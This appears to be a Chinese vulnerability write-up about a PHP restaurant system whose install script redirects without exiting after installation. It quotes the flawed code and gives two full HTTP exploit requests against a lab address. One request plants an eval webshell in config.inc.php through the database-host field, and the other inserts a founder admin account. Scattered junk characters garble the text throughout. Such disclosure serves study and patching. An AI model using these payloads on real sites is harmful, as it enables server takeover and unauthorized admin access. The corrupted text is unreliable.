问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。; W ]2 n3 W* X: j9 B a8 P6 D
! n9 H- N+ @ g Q+ g
<?php
: c# d9 Z5 ^9 s, Mif(file_exists("../install.lock"))
6 u4 q6 S8 c! h6 Y( b# _2 [7 v{; f* U9 [+ }+ I! B
header("Location: ../");//没有退出
& x3 a0 ^9 K6 P& Y& R% g1 |}
3 }) |; q4 X: w. \+ D+ j 0 m$ _5 W9 f+ T; `) a- O2 y, p
//echo 'tst';exit;
, h2 A$ g' i6 ^require_once("init.php");
( v; I% s" V3 z( c2 O6 [7 O& o( lif(empty($_REQUEST['step']) || $_REQUEST['step']==1)0 ~$ m6 R& f- F6 d
{7 D- s7 V# _9 w; f* t% W6 b6 D; B
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
9 y p, F& p* ?. H; W5 D1 p) p' A7 z9 s
1、getshell(很危险)& J+ c6 |; ?! Q" y8 _' _& f$ `- M" z( O
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)) C. L' V6 J. ?) Q
{
& l) Y4 c' t6 y( b. \: p! r" I$smarty->assign("step",1);; ^" K! E* J6 D: m; {
$smarty->display("index.html");3 N& m; O2 G* \0 x# G( r# e
}elseif($_REQUEST['step']==2)7 B" o+ f8 h9 ]: g" [/ f+ Q
{8 _% [7 J: J0 u# X& F- F
$mysql_host=trim($_POST['mysql_host']);
4 h% \1 J+ s+ s8 W- y3 j( u, B/ m7 j1 f $mysql_user=trim($_POST['mysql_user']);6 U; I! Z* D3 a/ v$ f
$mysql_pwd=trim($_POST['mysql_pwd']);! P9 G0 M, L% M' W$ d
$mysql_db=trim($_POST['mysql_db']);4 b5 a0 H3 A' _. v
$tblpre=trim($_POST['tblpre']);
8 i# M3 s3 `0 T $domain==trim($_POST['domain']);7 Z8 j+ D- R+ m# o
$str="<?php \r\n";1 |9 L5 d: { u1 N
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
0 A# {8 u3 l) l/ G, c $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
1 s7 l, m! p/ r; @4 u $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
! o& }# C3 `$ N $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";. w2 P* E$ c n% v8 Z
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";- f+ P9 K4 @! y
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
5 c/ N' \/ w& B6 N; x) e1 c3 k3 `( R $str.='define("DOMAIN","'.$domain.'");'."\r\n";1 D9 a. } J! t" U5 f- w$ b% Y8 \
$str.='define("SKINS","default");'."\r\n";+ q# V% P& b& \/ u2 ^
$str.='?>';
. {9 e, X8 l- H a% p0 B file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
2 L \' p8 x f5 T3 q; I/ k" }上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
9 m1 u1 a; m. p8 ^. Q) dPOST /canting/install/index.php?m=index&step=2 HTTP/1.1
6 S! w+ y" C' B5 t, p4 e6 z8 L0 E; mHost: 192.168.80.129
% O) g9 V$ d1 Q- t) yUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0/ W" O, B- z2 F/ \2 G( ] Q
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
; {6 l( u7 r) Q0 p- a/ ]Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
! Z) [5 I5 |5 I. x8 hAccept-Encoding: gzip, deflate
4 C$ D) c3 N- C. `8 K: NReferer: http://192.168.80.129/canting/install/index.php?step=1
; y2 n! O7 T& v5 j) g# Y. \! MCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
( R) U9 X. g. K( H, F6 |% v' e3 IContent-Type: application/x-www-form-urlencoded9 Y# C8 q2 _4 b" B0 \" W4 h3 z
Content-Length: 126- M. @/ w7 U _* _6 I
7 X5 J {$ {2 O, q; @8 N9 {1 amysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
% T& {3 c/ V/ Z( P) r+ t但是这个方法很危险,将导致网站无法运行。
m# J3 A1 t; n- ^$ k
7 S8 V3 l( Y6 o0 N2 t5 I. q$ I2、直接添加管理员
. D' [7 P9 M& T! b# P3 g& }6 S
3 e+ m! _ b l6 c) F- Yelseif($_REQUEST['step']==5)) |. ]2 Q6 ?$ _
{* q! B* H+ N$ r, a! {
if($_POST)
/ M, m3 s: X; O0 z { require_once("../config/config.inc.php");
1 l6 `$ b' z3 X2 [( |8 [% H; V; m $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);* Y1 z/ a( n2 n5 u A' o
mysql_select_db(MYSQL_DB,$link);) g# A/ q2 N) N
mysql_query("SET NAMES ".MYSQL_CHARSET );
: X% q- h3 Y; l1 n4 D& _ mysql_query("SET sql_mode=''");
A, F7 q" X2 k* M/ g1 s J" T9 b3 Q1 j( I. i+ b! a9 Y
$adminname=trim($_POST['adminname']);
9 Q/ U; T" ]* k: ?" u0 U5 N8 i $pwd1=trim($_POST['pwd1']);
* J" A, [9 V% R/ o7 O d $pwd2=trim($_POST['pwd2']);
# n) b% d5 A2 X) {' x% H9 v r if(empty($adminname))/ c3 D1 b: J8 G5 w
{0 Y$ M9 m4 [& q7 x' J- c
, k5 u( |5 w" y" J echo "<script>alert('管理员不能为空');history.go(-1);</script>";
{+ G; Y) \; ?* Z7 Q ^ exit();
. N: U4 @' `. P' R2 F& ^. y# ] }! ]$ w+ O1 F- ]1 |' l( N9 Z
if(($pwd1!=$pwd2) or empty($pwd1))# f$ J* W/ C3 }9 W
{& i, n/ M: {1 M4 h5 O
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出! B2 n; q9 q$ X- \! ?8 n
}
6 k; N1 |; Y" G# r. J# r4 s" Y8 _ mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
4 D. |/ b- y3 {7 M+ F& l }
; `/ {2 d* {) n: z1 b' e/ J0 `这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:: {2 r9 ?5 `! }% R7 R0 |% b5 ?) g
POST /canting/install/index.php?m=index&step=5 HTTP/1.16 g9 g2 p( c! l) _8 V
Host: 192.168.80.129
( F" p7 J1 e# B% i: F: q' y6 ~User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
# p2 k) ^% ^ i0 h( j& U6 ~$ ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" @% C2 s$ H5 w- x# m) p
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3( y2 R% A1 A) T: @! G& u; X/ p
Accept-Encoding: gzip, deflate$ D4 V1 H3 e3 H5 T/ i0 g; Q* x
Referer: http://www.2cto.com /canting/install/index.php?step=1. f: D0 g1 b0 G- V9 t
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
, T+ m9 z8 z1 m+ KContent-Type: application/x-www-form-urlencoded1 c5 n+ p6 K) v
Content-Length: 46
: Y( q' T5 v( s( ~0 X2 T( E . Q# ]" h% C8 R4 E% ^7 P9 I7 } i
adminname=qingshen&pwd1=qingshen&pwd2=qingshen1 K) C0 v0 G6 l
|